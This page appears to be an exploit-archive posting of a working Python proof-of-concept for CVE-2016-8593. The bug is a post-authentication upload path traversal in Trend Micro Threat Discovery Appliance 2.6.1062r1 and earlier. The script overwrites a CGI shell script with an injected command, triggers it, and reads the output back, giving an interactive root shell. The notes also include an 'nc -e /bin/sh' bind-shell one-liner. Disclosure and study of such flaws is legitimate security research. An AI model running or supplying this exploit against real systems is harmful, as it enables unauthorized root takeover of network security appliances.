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Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution

Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution
Posted Apr 19, 2017
Authored by Roberto Suggi Liverani, mr_me

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from an upload.cgi remote code execution vulnerability.

tags | exploit, remote, cgi, code execution
advisories | CVE-2016-8593
MD5 | 4f9ee58cfbe5fe18bbb4aa1a4926eca7

Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution

Change Mirror Download
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 upload.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
take command, upload bd, exec, read, rinse, repeat.

- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the
log_query_system.cgi was unstable.

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) popping shell, type 'exit' to exit.
$ id
uid=0(root) gid=0(root)
$ uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
$ pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
$ exit
"""

import sys
import re
import requests

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
u_url = "%scgi-bin/upload.cgi?dID=../../opt/TrendMicro/MinorityReport/www/cgi-bin/log_cache.sh" % bu
e_url = "%scgi-bin/log_query_system.cgi" % bu
r_url = "%snonprotect/si.txt" % bu

s = requests.Session()

# first we login...

r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
print "(+) popping shell, type 'exit' to exit."
cmd = ''
while (cmd.lower() != "exit"):
cmd = raw_input("$ ")
if cmd.lower() == "exit":
continue

# now we upload to crush the log_cache.sh script
bd = "`%s>/opt/TrendMicro/MinorityReport/www/nonprotect/si.txt`" % cmd
u = {
'ajaxuploader_file': ('si', bd, 'text/plain'),
}
r = s.post(u_url, files=u, verify=False)

# now we have to get the cmd executed...
r = s.post(e_url, data={'act':'search','cache_id':''}, verify=False)

# now we get the result
r = s.get(r_url, verify=False)
print r.text.rstrip()
else:
print "(-) login failed"
sys.exit(-1)

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